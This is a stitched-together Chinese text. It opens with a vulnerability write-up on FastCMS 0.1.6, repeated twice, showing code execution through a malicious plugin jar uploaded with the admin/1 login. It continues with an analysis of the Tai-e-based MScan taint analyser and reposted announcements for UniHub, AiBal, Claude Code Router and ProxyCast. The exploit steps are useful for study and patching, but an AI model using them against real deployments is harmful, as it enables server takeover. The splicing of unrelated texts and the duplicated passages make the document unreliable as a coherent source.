fastcms-master/plugins/hello-world-plugin/target/hello-world-plugin-0.1.6-SNAPSHOT.jar

jar文件路径.png

http://127.0.0.1:8080/fastcms-master.html 登录,账号密码:admin/1

安装插件.png

此时插件管理显示暂无数据,选择打包好的 jar 文件

选择上传.png

上传成功显示插件信息,弹出计算器

上传成功.png

上面是第一次验证的步骤,如果想要重复验证,这时有三种方法 停止项目,找到astcms-master.distplugins,删除 jar,重新启动,再次上传 点击卸载,修改 jar 包名,点击上传 修改 pom.xml 中的artifactIdplugin.id标签,重新打包 jar 演示第二种:点击卸载,会弹出 405 不必理会,刷新一下会移除插件信息,但 jar 包会被保留(在自己编写插件中,若全限定类名不一致,会存在插件信息未移除的情况)

卸载.png

这时上传文件名完全一致的 jar 包会报错,修改 jar 包名后可以上传

重复上传.png

必须的插件结构(推荐在fastcms-master/plugins目录下,完成插件写好后在fastcms-master/plugins/xxx-plugin目录下用mvn clean package打包) xxx-plugin/src/main/java/com/fastcms/xxx/XxxPlugin.java xxx-plugin/plugin.properties xxx-plugin/pom.xml XxxPlugin.java

plugin.properties

pom.xml


环境搭建

windows 10

jdk 17

mysql 5.7.26

fastcms 0.1.6



下载地址:https://github.com/my-fastcms/fastcms

登录:http://127.0.0.1:8080/fastcms-master.html

账号/密码:admin/1

1 数据库配置

数据库配置文件:fastcms-master/web/src/main/resources/application.yml

SQL配置.png

数据库文件:fastcms-master/doc/sql/fastcms-master.sql

mysql -uroot -p
source D:\java\fastcms-master\doc\sql\fastcms.sql

2 开发环境

搭建环境会遇到Java 9+ 模块系统(JPMS)兼容性问题,在运行配置中添加虚拟机选项(VM options),输入下列参数即可

--add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED

1-开发环境添加虚拟机.png



3 生产环境

存在漏洞的功能在开发环境无法使用,但在生产环境又无法 debug,此节侧重于在 idea debug

打包,找到 fastcms-master/build.bat 文件(windows 环境用 bat,linux 环境用 sh),双击进行打包,打包完成会出现.dist目录

2-打包文件.png

.dist目录中,启动 startup.cmd 文件即可运行程序,但这样无法 debug,记住fastcms-master-server.jar的绝对路径,这是用 idea debug 的关键

3-jar包.png

在 idea 的运行配置中添加 jar 应用程序

4-运行配置.png

需要设置下列四个参数,jar 路径是fastcms-master-server.jar的绝对路径,工作目录则是fastcms-master-server.jar的所在目录,虚拟机选项和程序实参,则贴在图片下面。名称无所谓

4-jar应用程序配置.png

虚拟机选项

程序实参

启动成功会显示 8080 端口,以及启动时间

5-启动成功.png



代码审计

入口文件:fastcms-master/web/src/main/java/com/fastcms/web/controller/admin/PluginController.java

第一个 if 检查是否为开发环境,如果是开发环境则报错,因此必须是生产环境,生产环境 debug 前面有配置步骤,这里不在叙述,后面两个 if 判断是否有后缀,是否是 jar、zip 文件,最后进入安装环境

审计过程1.png

installPlugin 方法先安装再激活

审计过程2-installPlugin.png

loadPlugin 方法中,loadPluginFromPath 加载插件,resolvePlugins 解决依赖

审计过程3-loadPlugin.png

loadPluginFromPath 是 pf4j 的原生方法,简单看一下,pluginId 不存在代表新插件,新插件载入需要获取插件元数据(pluginDescriptor),获取插件所有类(pluginClassLoader),创建插件实例(pluginWrapper)最后通过 addPlugin 方法载入

审计过程4-加载过程.png

这里就已经实例化并载入了插件,后面需要激活插件,跟进 startPlugin 方法,根据 pluginId 获取插件,再根据插件获取实例化对象,执行 start 方法激活,中间只是判断插件的状态,是激活还是禁止

审计过程5-启动.png

start 方法如下,这是官方 HelloPlugin 插件,是否可以在这里加点代码?

审计过程6-执行start方法.png



漏洞复现

这里为了方便演示,修改官方插件,插件编写方法附在最后

找到fastcms-master/plugins/hello-world-plugin/src/main/java/com/fastcms/hello/HelloPlugin.java文件,添加下列代码

构造1.png



fastcms-master/plugins/hello-world-plugin/目录下打包成 jar 文件

fastcms-master/plugins/hello-world-plugin/target/hello-world-plugin-0.1.6-SNAPSHOT.jar

jar文件路径.png

http://127.0.0.1:8080/fastcms-master.html 登录,账号密码:admin/1

安装插件.png

此时插件管理显示暂无数据,选择打包好的 jar 文件

选择上传.png

上传成功显示插件信息,弹出计算器

上传成功.png



上面是第一次验证的步骤,如果想要重复验证,这时有三种方法

停止项目,找到astcms-master.distplugins,删除 jar,重新启动,再次上传

点击卸载,修改 jar 包名,点击上传

修改 pom.xml 中的artifactIdplugin.id标签,重新打包 jar

演示第二种:点击卸载,会弹出 405 不必理会,刷新一下会移除插件信息,但 jar 包会被保留(在自己编写插件中,若全限定类名不一致,会存在插件信息未移除的情况)

卸载.png

这时上传文件名完全一致的 jar 包会报错,修改 jar 包名后可以上传

重复上传.png

必须的插件结构(推荐在fastcms-master/plugins目录下,完成插件写好后在fastcms-master/plugins/xxx-plugin目录下用mvn clean package打包)

xxx-plugin/src/main/java/com/fastcms/xxx/XxxPlugin.java

xxx-plugin/plugin.properties

xxx-plugin/pom.xml

XxxPlugin.java

plugin.properties

pom.xml



Intro

Tai-e作为一个优秀的静态分析框架,内置了指针分析、污点分析等等实现。为增强其作为一个底座框架的可扩展性,其提供了插件系统,通过插件系统可以控制在静态分析过程中的各个阶段的数据处理,更进一步的进行定制化分析的实现。如下图为Tai-e官方提供的有关于插件系统的原理图:

image.png



本文中提及的有关于微服务应用的静态分析框架MScan同样是基于Tai-e进行实现的,针对微服务应用中使用的一些特殊的API进行服务间的高速通信过程,传统的静态分析方式不能够原生支持该类服务间通信的污点流的传播,但是这里采用了上面介绍了插件系统的方式,为服务间的通信过程进行建模,定制化的支持该过程的数据流分析,例如是Grpc、Dubbo或者Feign等通信方式。

具体的分析因篇幅太长分为了上下两篇,上篇主要集中于理论层面的代码分析,剖析基于Tai-e框架的改造细节,明晰从source点提取到扩展的污点分析引擎工作原理的全流程。而下篇主要集中于实战层面的内容,在剖析微服务应用各服务间的通信建模方式,也即如何构建一个SDG(Service Dependence Graph),同时贴近实战批量拉取github\gitee高star项目进行自动化`clone-complie-scan`全流程。

Jar parser

首先这里设置了缓存机制,通过配置文件中的Config.reuse来控制是否使用缓存,如果不使用上次解析jar后的缓存则将对应的targetPath中记录的缓存信息进行删除



之后就是对于给定的jars包的处理过程,遍历给定的Jar列表依次进行service discovery以及类提取



1 首先来看parseSerive如何从目标Jar中获取service name的



a 首先是通过解析目标jar包中的pom.xml文件去得到对应的service name

其功能实现的核心基于以下几点

通过遍历jar包的所有文件获取到以"bootstrap", "application", "entry"开头,"yml", "yaml", "properties"结尾的配置文件

筛选出文件中带有application:关键字符串标识的配置文件

在获取了包含有service name的配置文件之后,使用snakeyaml进行配置文件的解析,获取其中spring.application.name对应字段的值

这里还做了except处理,如果使用上述的解析yaml文件的方式不能够获取到service name时,则将artifact id作为service name

具体是遍历目标jar中包含的所有的pom.xml文件,创建一个XML解析器对pom.xml文件的内容进行解析,获取其中的artifactId字段进行返回

b 其次是根据在配置文件中预设定的Config.classpathKeywords去决定我们关注的class代码,避免引入了过多的第三方jar包的类造成过多的无效分析

c 最后就是对路由的配置进行解析

其核心实现同样可以归纳为以下几点步骤

首先是检查是否在配置文件中指定了待检测项目的路由配置文件Config.routeConfigFile,若已经明确制定了,直接进行获取并返回即可

如果没有指定,类似于前面提到了获取所有配置文件的方式,筛选路由配置文件,这里支持有Sprint Cloud gateway以及zuul的路由配置方式

遍历jar包的所有文件获取到以"bootstrap", "application", "entry"开头,"yml", "yaml", "properties"结尾的配置文件



d 最后的最后就是维护了GatewayParser.routeConfigFiles以及GatewayParser.services去记录扫描到的所有路由配置文件以及services

1 如果在配置文件设置了进行上轮类抽取的重复利用,也即是Config.reuse,则直接跳过提取jar中类文件的操作,否则,就直接对所有类提取到目标文件夹下



Gateway parser

在微服务应用中,对于路由的解析是基于前面jar parser过程中扫描到的路由配置文件



其大概的实现逻辑如下

1 遍历扫描到的路由配置文件,读取配置文件信息

同样通过snakeyaml进行配置文件的解析,这里分为了两种两类不同的API网关进行针对性的解析

2 对于zuul这类的API网关



a 其将zuul.routes作为前缀获取路由信息

b 根据具体的zuul配置内容获取对应的path路由信息以及service-id对应的子服务对象,并对路径进行了有效处理

1 而对于Spring Cloud Gateway这类API网关



a 根据这类API网关的配置规则,将spring.cloud.gateway.routes作为前缀来获取路由信息

b 遍历获取的路由列表,获取对应的uri,根据uri信息去获取对应的service name

c 从配置文件中获取predicates以及filters用来确定路由的路由信息以及通过filters中的配置来确定是否需要跳过路由中的第一级路由



MScan

options.yml

在经过了前面的目标jar的解析以及路由的识别后,运行经过二开后的tai-e进行核心的指针分析以及污点分析,这里传入了一个options.yml配置文件

可以对照着tai-e得官方文档明白参数的作用

https://tai-e.pascal-lab.net/docs/current/reference/en/index-single.html

几个关键点参数

1 javaVersion: 8使用JDK8下的依赖库进行分析

2 prependJVM: false这个参数用来标识是否使用运行tai-e的JDK的依赖库进行分析,如果置为true,则将会抑制javaVersion的设置

3 analyses这个参数用来指定在tai-e-analyses.yml中定义的一些分析,例如指针分析、调用图构建等等从MethodAnalysis、ClassAnalysis、ProgramAnalysis三中层面的基础上实现的分析

转回到这里options.yml针对于pta的配置

pta: taint-config:src/main/resources/taint-config.yml;only-app:true;implicit-entries:false;dump:false;time-limit:1200000;cs:4-call;advanced:pruning;plugins:[fdu.secsys.microservice.plugin.GatewaySourcePlugin,fdu.secsys.microservice.plugin.OpenFeignPlugin,pascal.taie.analysis.pta.plugin.taint.EnhanceTaintAnalysis]

首先在tai-e中的tai-e-analyses.yml中对pta的可选择的参数进行了说明

这里的pta配置大致分为了以下几点

a 配置了taint-config路径,用来启用taint-analysis以及指定污点分析的配置文件(包括有sources/sinks/sanitizers等)

b only-app:true,仅仅只分析application code,也即是只分析-acp指定的代码

c time-limit:1200000,设置了程序分析的超时限制,默认是-1也即是不存在超时

d cs:4-call,对于context-sensitivity analysis其选用了4-call-site方法,根据调用点作用上下文的划分,当然,因为这里使用advanced:pruning所以一定程度上抑制了cs的配置

e advanced:pruning,基于tai-e作者的四篇论文,实现了四种advanced analysis


Zipper-e (option value: zipper-e): introduced in our TOPLAS'20 paper.

Zipper (option value: zipper): introduced in our OOPSLA'18 paper.

Scaler (option value: scaler): introduced in our FSE'18 paper.

Mahjong (option value: mahjong): introduced in our PLDI'17 paper.


而对于这里配置的pruning为自定义的内容,这里实现的是论文提及到的distance-guided的上下文敏感层级选择策略,核心是根据分析方法与source-to-sink路径的接近程度调整上下文敏感性程度,从而将更多的精力和资源集中在安全关键分析上,后续对其进行详细的分析



f plugins:[fdu.secsys.microservice.plugin.GatewaySourcePlugin,fdu.secsys.microservice.plugin.OpenFeignPlugin,pascal.taie.analysis.pta.plugin.taint.EnhanceTaintAnalysis], 用来添加一些自定义实现的插件

feature based application

对于tai-e的插件系统,表示的是实现了Plugin接口的一群类,这里只分析Mscan二开的一些插件实现,不对tai-e原生的插件进行分析



该接口实现了一些在指针分析的生命周期中的一些回调接口,包括有如下

1 onStart: 在进行指针分析之前进行调用,可以进行指针分析的准备工作或者初始化插件

2 onFinish: 在指针分析结束之后被调用,可以对指针分析的结果进行筛选整理,但是不能修改指针分析的结果

3 onNewPointsToSet: 当存在有新的指针集指向时被调用

4 onNewCallEdge:当一个新的调用边被检测到时进行调用

5 onNewMethod:当一个新的可达方法被发现时进行调用

6 onNewStmt:当遭遇到一个新的代码语句时被调用

7 onNewCSMethod:当一个新的可达的上下文敏感的方法被发现时被调用(区分前面提到的正常方法)

8 onUnresolvedCall:当指针分析过程中对于callee的解析失败时调用该方法,例如在一个函数调用过程中,tai-e中的callsite中记录了本次被调用的callee是哪一个,但是该类并没有通过acp或者cp等参数进行加载,导致没有被soot进行分析,所有tai-e并不能够正常解析这样的callee

GatewaySourcePlugin

这个类是用来进行入口点的识别的,核心是依赖于fdu.secsys.microservice.plugin.gateway.EndpointHandler

该类实现了onStart方法,以及维护了endpoints在进行指针分析之前进行入口点的识别



其具体的实现可以来到EndpointHandler#getEndpoints方法



其实现可以归纳为以下步骤

1 首先,每一个入口点都被抽象成一个Endpoint对象,其包含有方法名、路由、在微服务中是否暴露在外、该入口点相关的service名等



2 首先是对进行指针分析之前通过LLM对gateway配置进行解析后的结果进行解析,获取根据网关配置文件得到的外部可访问以及内部可访问的接口列表



3 之后遍历所有得applicationClasses类,根据对应得注解信息去判断路由信息,进而获取到所有得endpoint

具体细节分为下面几个步骤

a 首先使用FeignUtil#getFirstMapping方法去获取在class上注解的路由信息,核心逻辑位于FeignUtil#getMaapings方法,其通过FeignUtil#isMapping方法筛选需要的注解,这里支持通过jax-rs以及Spring两种规范的URL注解方式,同时值得注意的是实现了如果在当前方法中没有找到注解,会尝试去该方法的多级父类的对应方法中去寻找



b 其次在获取了一级路由也即是class上标注的路由信息后,去审查该类所有的方法是否满足Spring以及Jax-rs对于路由的规范,进而去获取对应method上标注的路由信息,也即是二级路由信息



c 后面就是组合类信息、方法信息、路由信息、路由对外暴露情况构建Endpoint对象实例,如果是存在有网关配置文件,通过路由的正则匹配,如果路由属于external_entries类,则将该Endpoint中的isExposed置为true,默认将其置为true,防止静态分析出现漏报。同时如果不存在有配置文件,则通过service名去判断是否路由暴露在外





EnhanceTaintAnalysis

该污点分析插件是按照tai-e原生的污点分析插件TaintAnalysis进行实现的一个增强版的污点分析实现,Mscan这里运行了这两套污点分析

setSolver方法在插件添加时执行



1 在进行插件的初始化过程中将会对taint-config.yml配置文件进行解析,这里对于配置文件的解析使用了jackson进行解析,使用的反序列化器用于获取配置文件中的call-site-mode以及enhance_sinks信息,构建一个EnhanceTaintConfig对象进行返回





2同时添加了一系列和污点分析有关的插件

其污点分析的核心逻辑都是由其各个子插件进行实现的,仅仅在程序分析结束时,调用onFinish进行污点传播流路径的整理



其核心逻辑主要是基于collectTaintFlows的实现,该实现的大致逻辑如下步骤

1首先获取到指针分析的结果

2 然后遍历指针分析所构建的调用图检索所有reachable函数调用点,筛选出其中调用有sink方法的可达方法,进而构建了一个SinkPoint对象用来存储该调用点



3 后续调用checkTaint方法检查污点传播情况

a 从指针分析结果中获取sink点关键参数的指针集并遍历,如果其是一个taint-obj则直接返回该对象,这里的taint-obj表示存在由外部可控的位置能够控制这里的对象,如果其不是一个taint obj则判断其是否是一个数组对象,若是一个数组对象则判断这个数组的元素是否存在有taint obj



b 随后利用这里获取的taint obj从污点管理器中获取对应的SourcePoint位置,构建一个从sourcePointsinkPoint的污点传播流



4 针对于使用result为污点结果的sink规则,如果存在由对应的调用,将会遍历该方法所有的返回值,构建一个SinkPoint对象,标注了excludeSourceParamAnno以及excludeCallSource并进行污点传播的检查



5 在根据上述的逻辑完成了污点分析的逻辑之后,对分析的结果进行二次验证,检验是否存在一个完整的通路从sourceMethodsinkMethod使得其为一个有效的taintFlow这里核心是使用广度优先遍历的算法进行调用链的查找,从指针分析的结果CallGraph检索是否存在完整的调用链,将存在有完整调用链的taintflow进行返回



6 后续则是根据taintFlows的结果进行污点流图的dump操作,将污点传播路径通过.dot文件的格式进行保存,方便可视化展示

SpringController

该插件作为污点分析插件的一个子插件,用来构建source点的污点入口



在静态分析遭遇新方法时触发onNewCSMethod事件

1 首先基于注解的方式判断该类是否是一个Controller

2 其次通过参数类型的检查,判断该参数是否可以被外部可控,但是这里有点小疑问,这里将safeClass中存在的参数类型作为一种外部不可控的类型,但是感觉HttpServletRequest这类类型一定程度上也是可控的,例如通过request.getParamter等函数进行外部数据的获取,也会造成外部可控的情况,所以这里的规则可以进行完善



3 对每一个可控的参数位置构建一个ParamSourcePoint对象,并将其作为一个taint,特别的,这里也会对参数所在classfields归类为一个taint,并通过addPointsTo添加对应的指针集,并且也支持对controller param所在类的父类所有fields以及fields所在类的fields归类为一个taint,递归的最大深度为4,这里主要是处理的是,现在基于Spring MVC的开发模式来讲,一个controller方法传入的参数通常是一个类对象,其中的每一个field对应的就是可传入的具体参数名。

MiscPlugin

这个插件主要是用来处理upload上传逻辑的污点传播

对于每一个invoke语句审查其是否调用的sigs中存在两类upload函数,则通过addVarPointsTo向该调用点的base变量指向一个指针集,这个指针集包含有其子类所有的upload方法



MybatisXmlPlugin

该插件主要是用于解决在mybatis这类ORM框架对于SQL注入攻击类型的识别,这里仅仅支持未进行预编译的识别,未对复杂的order by等语句的攻击进行识别

在静态分析程序未开始时触发onStart事件进行mybatis mapper文件的解析,并实时封装sink点添加到sink规则中



其大致通过以下逻辑进行sink点的动态生成

1 遍历在jar parser处理阶段筛选的所有XML文件,调用submitFileProcessing进行多线程处理,核心的逻辑存在processXMLMapper方法中

2 processXMLMapper方法中,对XML文件的内容进行了XML解析,根据mapper xml文件中定义的sql语句,将其抽象成一个sql语句字符串后通过正则匹配的方式检索sql语句中是否存在有${}包裹的内容

其包裹的内容则为可注入的点,在完成injects可注入点的获取后,根据xml文件中的namespace以及id去获取所对应的Class对象以及Method,根据injects的信息完成对注入点的识别,返回一个method-injectPos方法到注入点索引的映射

最后完成动态sink的封装



上述内容为静态分析过程开始前动态生成有关于mybatis这类ORM框架的sink,而该插件在遭遇新的方法时将会触发onNewCSMethod事件,该事件的作用主要是构建一个select查询语句调用函数的参数变量到该查询返回变量的一个映射selectArgResultMap



同时在指针集存在变化时同样会触发onNewPointsToSet事件,其作用分为了两部分

1 遍历对应变量的指针集,将其指向的taint obj以及指向类的所有fields中所有指向的taint obj添加到taintObjs

2 遍历调用了select查询语句的所有返回结果变量resultVars,将污点传递到了返回的结果信息,构建了一个新的污点对象newTaintObj,并使用addPointsTo函数将污点对象指向结果变量,完成在mybatis场景下的污点传播











SpringContainer

这个插件作为污点分析插件的子插件,主要是用于解决在Spring框架下的动态注入的机制,类似于基于注解的对象动态注入静态分析方法并不能够对其所指代的对象进行识别,就需要通过定制化的方式将对应的对象指向给补全

1 首先基于Controller等注解获取所有的入口类,并通过addEntryPoint为整个程序分析添加入口点 (GatewaySourcePlugin只是最所有Source类进行了聚合并没有添加程序分析入口,整个mscan的分析入口是在SpringContainer中添加的)其中的识别方式支持有Jax-rs、Spring



2 同时,在这个过程中也会进行java bean的识别,在Spring中Bean类的创建有多种形式,例如Controller对类进行注解,利用Serivce进行注解等等方式,将每一个Bean类抽象成一个SpringBean对象

如果注解中存在有明确的bean name则将其作为Springbean对象的name值,默认直接采用类名称的缩写

3 之后就是进行需要动态注入的fields以及params的信息的收集对于fields,其检查所有的SpringBean类及其父类中存在Resources等注解的字段,存储需要动态注入字段到diFieldInfos,其key值存储的信息是带注入字段的class-field,其value值存储的信息为field所标注的各种信息



4 而对于fields的动态注入则是分为两类,若没有指定类名的话,则通过类继承关系从BeanClass中获取该field的子类,若指定了类名,则直接使用ByName的方式获取BeanClass,在得到了对应的fieldBean之后会将fieldBean类对象指向field的指针集,同时如果对应的Springbean存在有返回变量,则在指针流图中添加一条从返回变量到field的边



5 而对于method的param的注入过程,同样是基于类继承的方式进行检索,不同是,这里的每一个method不论是构造方法或者是Bean注解标注的方法都可以作为一个程序分析的入口



Ref

https://tai-e.pascal-lab.net/docs/0.5.1/reference/en/index-single.html#how-to-develop-a-new-analysis-on-tai-e

https://ieeexplore.ieee.org/abstract/document/11023345

20260110-114859-compressed

UniHub 是一个 现代化的跨平台工具集应用,主打「插件化」与「即装即用」。

你可以把它理解为一个工具底座:
把那些你平时需要 打开网页、搜索半天、复制来复制去 才能用到的功能,
全部做成插件,集中放在一个桌面应用里。

  • 跨平台支持(macOS / Windows / Linux)
  • 强大的插件系统,按需安装
  • 所有插件永久免费
  • 正在疯狂建设生态中

只需要告诉我:
你希望有什么功能?
哪些工具你现在必须上网才能用?

点个 star​~剩下的交给我,我来实现。

相关 links:


📌 转载信息
原作者:
skylertong
转载时间:
2026/1/10 19:21:52

UniHub 是一个插件化的桌面工具平台,你可以把它理解为一个 "工具箱",通过安装不同的插件来扩展功能。无论是 JSON 格式化、JWT 解析、还是其他开发工具,都可以通过插件的形式集成进来。

核心特性

  • 强大的插件系统 - 支持动态加载和管理插件,开发者可以轻松创建自己的插件

  • 内置插件市场 - 一键安装各种实用工具,无需手动下载

  • 现代化 UI - 基于 Vue 3 + Tailwind CSS,支持深色模式

  • 细粒度权限控制 - 插件需要申请权限才能访问系统资源

  • 自动更新 - 基于 GitHub Releases 的自动更新机制

界面预览

20260105-161746

技术栈

  • 前端: Vue 3 + TypeScript + Tailwind CSS

  • 构建: Vite + electron-vite

  • 桌面: Electron

已有插件

目前内置了几个实用插件:

  • JavaScript 格式化器 - 美化和压缩 JS 代码

  • JWT 工具 - 解析和验证 JWT Token

  • 更多插件持续开发中…

插件开发

插件开发非常简单,只需要:

  1. 创建一个包含 package.jsonindex.html 的目录

  2. package.json 中配置插件元数据

  3. 打包成 zip 文件即可安装

详细的插件开发文档可以在项目 README 中找到。

参与贡献

这是一个完全开源的项目,欢迎大家:

  • Star 支持一下

  • 提交 Issue 反馈问题

  • 提交 PR 贡献代码

  • 开发自己的插件

为什么做这个项目?

作为开发者,我们经常需要使用各种小工具,比如 JSON 格式化、Base64 编解码、正则测试等。虽然有很多在线工具,但我想做一个本地化的、可扩展的工具集,让开发者可以离线使用、数据不离开本地、通过插件自由扩展功能、一个应用解决所有需求

未来计划

  • 更多内置插件、插件市场完善
  • 更好的插件开发工具链
  • AI 支持

最后

代码可能还有很多不完善的地方,欢迎大家提出建议和意见!
如果你觉得这个项目有用,欢迎 Star 支持一下,也欢迎分享给更多需要的朋友!
项目地址:GitHub - t8y2/unihub: 🚀 UniHub - 现代化的跨平台工具集应用,支持强大的插件系统 | Modern cross-platform toolkit with powerful plugin system

感谢大家!


📌 转载信息
原作者:
skylertong
转载时间:
2026/1/5 16:29:57

新版特性:

  1. 支持预设,可以通过 ccr <preset-name> 命令快速切换 cc 配置,增加预设市场,更方便共享配置

  2. 优化 cc statusline 适配,支持插件,可以自定义插件数据,比如获取供应商套餐余量,token 实时速率,可以将 statusline 插件一起打包成预设进行分发

  3. 支持 docker 部署,镜像只有 200M + 的大小 (纯 Server 不支持 statusline/cli 插件),但是仍然可以通过给 cc 设置 baseurl http://ip:port/preset/<preset-name> 快速切换预设配置

  4. 支持 fallback,当供应商报错时支持回退到备用供应商

完整文档在 Claude Code Router (还在建设中,文档速度跟不上特性开发速度)


📌 转载信息
原作者:
musistudio
转载时间:
2026/1/4 17:13:41

功能特性

  • 多服务商支持 - 同时追踪 Claude、GPT、Gemini 等多个 AI 服务
  • 实时监控 - 一目了然查看配额消耗和剩余额度
  • 菜单栏集成 - 菜单栏快速访问
  • 插件系统 - 通过社区插件扩展功能
  • 插件市场 - 轻松发现和安装插件
  • 深色模式 - 原生深色主题 UI

可打包 window,Linux,没来急的测试

官网:AiBal - AI 监控助手
GitHub:GitHub - DDG0808/aibal: AiBal 是一款 macOS 菜单栏应用,为 AI 重度用户提供统一的多服务用量监控平台。
插件 GitHub:GitHub - DDG0808/aibal-plugins: aibal 插件库





📌 转载信息
原作者:
d914954480
转载时间:
2026/1/2 16:15:47

作者:@wutongci

本文件记录 ProxyCast 各版本的更新内容。

[0.27.0] - 2026-01-01

  • 重构 Agent 架构并新增 API Key Provider 管理系统

[0.26.0] - 2025-12-31

  • 消除所有 Rust 编译警告

[0.25.0] - 2025-12-31

  • Agent Tool Calling 前端集成

  • 移除未使用的 goose 依赖,优化 Windows CI 构建速度

[0.24.0] - 2025-12-31

  • 重构应用布局,添加启动画面和全局图标侧边栏

  • 添加右键菜单系统

[0.22.0] - 2025-12-30

  • 插件系统完整实现

  • 插件中心迁移到导航栏

  • 插件开发规范文档

  • 解耦 MachineIdTool 插件

  • Anthropic Extended Thinking 类型支持

[0.21.0] - 2025-12-29

  • AI Agent 功能和 aster-server 按需下载

  • Linux ARM64 平台支持

  • 安装 aster-server 后提示需要重启应用

[0.20.5] - 2025-12-28

  • 添加 Linux ARM64 平台支持

[0.20.4] - 2025-12-28

  • 优化 Kiro token 刷新机制,解决每次调用都刷新的性能问题

  • 修复凭证导入可能导致的崩溃问题 (#47)

[0.20.3] - 2025-12-27

  • 添加 web_search 工具支持,修复 Claude Code 联网搜索返回结果为零的问题

  • 修复 Windows 平台编译错误

[0.20.2] - 2025-12-27

  • 添加 live_sync 单元测试

[0.20.1] - 2025-12-26

  • 修复配置检测和 Claude Code 配置问题

  • 修复跨平台编译错误

[0.20.0] - 2025-12-26

  • 机器码管理工具 - 全新功能发布

[0.19.0] - 2025-12-25

  • 全新品牌视觉设计 - 现代化 3D logo 更新

  • 浏览器拦截器 - macOS 默认浏览器接管功能

  • 修复日志清理和提供商显示问题 (#51)

[0.18.0] - 2025-12-25

  • 配置管理优化 - 外部配置变更检测与一键导入

  • 修复 Kiro 请求 Token 显示为 0 的问题 (#44)

  • 修复 Flow Monitor 头部布局和清理所有日志功能

[0.17.9] - 2025-12-25

  • Gemini API Key 改为凭证池卡片式展示

  • 修复 SVG 类型声明问题

[0.17.8] - 2025-12-24

  • 修复 Gemini API Key 和 Vertex AI 配置页面白屏问题

[0.17.7] - 2025-12-24

  • 添加 Zhipu 图标

  • 自定义滚动条样式

  • SVGR 支持

  • Claude OAuth 添加 Cookie 自动授权功能

[0.17.5] - 2025-12-24

  • 重大界面重构 - 删除仪表盘,重组导航结构

  • 修复默认路由端点 provider_type 硬编码为 kiro 的问题 (#41)

[0.17.4] - 2025-12-24

  • 修复 Windows 最小化到托盘无效 (#30)

  • 端点 Provider 配置 + 凭证卡片 UI 优化

[0.17.1] - 2025-12-22

  • Flow Monitor 增强 - 窗口大小调整、搜索优化

[0.17.0] - 2025-12-22

  • 新增 Codex Base URL 配置输入

  • 完善 Codex 凭证与健康检查

[0.16.0] - 2025-12-21

  • LLM Flow Monitor 功能

  • 支持 Yunyi 等代理的 API Key 认证和 responses API

  • 修复多个 P0/P1/P2 级安全漏洞

  • 实现自动下载更新功能

  • 添加备份与健康检查能力

[0.15.1] - 2025-12-21

  • server.rs 模块化重构(代码量减少 68%)

  • 限制 TLS 与远程管理开关

  • 兼容 YAML/JSON 保存与状态识别

[0.15.0] - 2025-12-21

  • Gemini OAuth 授权码流程

  • 健康检查自动刷新 Token

[0.14.10] - 2025-12-20

  • Kiro 凭证指纹展示

  • 模型列表更新

[0.14.8] - 2025-12-20

  • Antigravity OAuth 支持复制授权 URL 到指纹浏览器

  • Codex 支持 API Key 凭证

  • 修复 Antigravity 凭证添加无反应问题 (#16)

  • 修复 Codex Token 刷新失败问题 (#17)

[0.14.4] - 2025-12-20

  • 修复 Windows 下 Kiro 凭证使用时终端窗口闪现问题

[0.14.3] - 2025-12-20

  • 添加 Linux (deb/AppImage) 构建支持

  • 关于页面版本号从后端获取,统一版本管理

  • 凭证池导入区分 API Key 和 OAuth 类型

  • 切换配置时自动清理 Claude 认证冲突并添加操作提示


📌 转载信息
原作者: Lsen
转载时间: 2026/1/1 22:44:15